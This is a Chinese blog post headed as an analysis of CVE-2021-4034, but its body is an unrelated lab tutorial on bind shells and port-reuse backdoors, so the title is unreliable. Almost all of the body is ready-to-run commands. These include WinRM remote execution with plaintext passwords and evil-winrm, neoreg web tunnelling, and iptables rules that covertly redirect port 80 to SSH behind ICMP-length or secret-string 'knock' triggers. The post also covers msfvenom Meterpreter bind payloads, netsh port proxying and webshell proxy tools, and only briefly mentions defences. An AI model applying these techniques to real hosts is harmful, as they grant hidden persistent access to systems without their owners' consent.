美文网首页程序员
深入分析CVE-2021-4034及漏洞复现

深入分析CVE-2021-4034及漏洞复现

作者: 白鹭鹭鹭 | 来源:发表于2022-02-16 14:24 被阅读0次

    正向shell总结

    一.winrm,http.sys(端口复用)

    介绍

    winrm

    WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
    

    HTTP.sys

    HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
    

    winrm默认监听端口:

    5985 http
    5986 https
    

    利用场景及其限制

    1. 目标机器开启winrm服务
    2. 目标机器是win server,windows主机不行
    3. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)
    4. 组合HTTP.sys驱动自带的端口复用功能
    5. 必须要知道明文密码(也可以使用hash传递)

    靶机配置

    开启winrm服务,并且监听80端口
    winrm quickconfig -q
    winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
    winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
    

    本地配置

    winrm quickconfig -q
    winrm set winrm/config/Client @{TrustedHosts="*"}
    

    执行命令

    winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
    执行命令是cmd即可进行shell
    
    winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
    可以在远程主机启动计算器
    
    Invoke-Command-ComputerName 192.168.198.129 -Credential root -Command {ipconfig}
    # Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
    # Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}
    

    HASH登录

    项目地址:

    https://github.com/Hackplayers/evil-winrm
    

    使用方法:

    ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
    

    错误以及其他问题解决

    image
    原因:仅仅支持server,不支持windows
    
    • UAC问题

      WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
      
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
      
    • 在已有WinRM服务的情况下,对于非80端口的web服务要如何处理

      把监听改成某非80端口,然后有别的需要可以端口转发
      

    image
    执行chcp 437即可解决
      原因是:chcp不同导致的
    

    防御手段

    • 设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器。
    • 严格限制,确保仅允许本地管理组和 WinRMRemoteWMIUsers__ 组中的用户有权使用 WinRM。

    二.HTTP Server API

    本程序利用HTTP.sys官方接口,向该驱动注册url前缀,与IIS共享端口,从而实现后门功能。

    项目地址:

    https://github.com/Reuodut/Windows-Hack-Code
    

    三.reGeorg

    项目地址:

    https://github.com/L-codes/neoreg
    

    1.生成密码

    python neoreg.py generate -k password
    

    image

    2.上传

    3.本地开启代理

    python neoreg.py -k password -u "http://192.168.198.129/tunnel.php"
    

    image

    本地的1080端口即可访问

    4.代理

    image

    image

    四.iptables复用

    iptables基础

    sudo iptables -L -v --line-number
    查看iptables的条目
    
    sudo iptables -D INPUT 1
    删除iptables条目
    
    重启计算机的时候
    iptables自动清除
    

    条件

    如果目标严格禁止仅仅开放80端口,我们就需要把80的ssh流量转发到22的ssh

    实验环境

    kali:192.168.198.134
    
    ubuntu:192.168.198.133
    80端口开放
    

    image

    image

    1.根据源地址做端口复用

    iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --dport 80 -j REDIRECT --to-port 22
    
    将从kali访问的80端口的流量重定向到22端口
    

    image

    问题

    别的师傅说因为所有的流量都转发到了22,所以正常访问80端口会访问不了,但是经过我的实际测试,我用的python开启的http服务,连接80端口的ssh的时候,也是可以正常访问的。

    不限制访问ip

    2.根据源地址做端口的访问(限制源IP)

    iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --sport 33333 --dport 80 -j REDIRECT --to-port 22
    
    只有192.168.198.134(kali)的33333端口访问80的流量会被转发到22端口去
    
    nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.198.133:80,sourceport=33333,reuseaddr &
    ssh -p 44444 cmrex@127.0.0.1
    
    我们把本地44444端口转发到33333端口,然后我们访问本地的44444端口
    

    image

    问题

    如果想要多开几个ssh连接,我们只需要把端口再转发几个就行了

    3.利用icmp做开关

    iptables -t nat -N LETMEIN
    #创建端口复用链
    
    iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
    #创建端口复用规则,将流量转发至 22 端口
    
    iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
    #开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中
    
    iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
    #关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
    
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
    #如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
    

    image
    开启复用
    ping -c 1 -s 1111 192.168.198.133
    #向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)
    
    关闭复用
    ping -c 1 -s 1112 192.168.198.133
    #向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)
    

    开启:

    image

    关闭:

    image

    问题

    如果网络中禁止ping,或者没有ping,则无法利用

    4.利用TCP协议做开关

    ubuntu中:

    iptables -t nat -N LETMEIN
    #创建端口复用链
    
    iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
    #创建端口复用规则,将流量转发至 22 端口
    
    iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
    #开启开关,如果接收到一个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein的列表中
    
    iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
    #关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除
    
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
    #如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
    

    image

    kali中:

    开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH
    echo threathuntercoming | socat - tcp:192.168.198.133:80
    
    关闭复用,关闭后,80 恢复正常:
    echo threathunterleaving | socat - tcp:192.168.198.133:80
    

    开启连接:

    image

    关闭连接:

    image

    问题

    待续

    五.msf正向shell

    1.生成

    msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe
    
    //从目标的80端口出来
    

    image

    2.监听连接

    use exploit/multi/handler
    set payload windows/meterpreter/bind_tcp
    run
    

    3.结果

    image

    成功正向连接

    web日志:

    image

    六.netsh

    假定需要通过192.168.198.133的3389端口转80端口,则需要在192.168.198.133主机的命令行输入如下语句:

    netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.198.129 connectport=3389 connectaddress=192.168.198.129
    
    netsh interface portproxy show all
    
    删除:
    netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.198.129
    

    七.冰蝎正向后门代理流量

    冰蝎有自带的正向流量代理工具

    image

    箭头所指处填写

    0.0.0.0
    和
    本地要监听的流量代理端口即可
    

    image

    八.蚁剑反弹shell配合msf

    需要用到蚁剑的插件:AS-exploit

    image

    相关文章

      网友评论

        本文标题:深入分析CVE-2021-4034及漏洞复现

        本文链接:https://www.haomeiwen.com/subject/zdcslrtx.html